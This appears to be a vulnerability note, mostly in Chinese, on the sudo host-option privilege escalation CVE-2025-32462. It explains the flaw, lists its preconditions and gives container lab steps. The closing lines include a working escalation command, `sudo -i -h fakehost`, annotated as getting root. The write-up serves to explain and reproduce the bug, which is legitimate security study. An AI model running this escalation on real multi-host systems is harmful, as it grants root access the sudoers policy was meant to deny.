
sudo/NEWS at SUDO_1_8_8 · sudo-project/sudo · GitHub
sudo -h(--host)的文档里 写了-h 只与-l可以相连使用。后期更新的时候让sudo -h可以和-e,-i等一起使用
sudo --host(-h) <username> -l(--list)
/etc/sudoer.d用于查看一个用户在系统中拥有什么权限。这个权限有可能被越过,让一个用户能够在某一系统的权限提升到另一个系统上可能拥有的权限。对于在多台计算机之间共享单个sudoers配置文件或使用基于网络的用户目录(如LDAP)来提供系统sudoers规则的系统尤其有影响。
总结来说:sudo的 h/--host 选项未遵循最小权限原则,在非-l场景(如命令执行)中未验证主机规则边界。攻击者可以在/etc/sudoer.d文件中配置恶意规则
主要影响那些在多台机器上使用同一份 sudoers 文件的系统管理员的系统。
漏洞攻击需要满足两个要求
攻击者获得一个已验证的用户
系统非默认配置,依赖于sudoers文件中存在的额外规则
例子:
sudoers文件包含定义该用户在不同系统上权限的规则。
Alice hostA: some Privilege
Bob hostB: some Privilege
Bob logs into hostA, then run command sudo -h hostB commandA
git clone https://github.com/SpongeBob-369/cve-2025-32462.git
cd cve-2025-32462
chmod +x run.sh
./run.sh
# after entering the contain Ubuntu
sudo -l
# then prompt you to enter your password, but "we" don't know.
sudo -l -h fakehost # Check the permissions user ubuntu have in host named fakehost
sudo -i -h fakehost # get root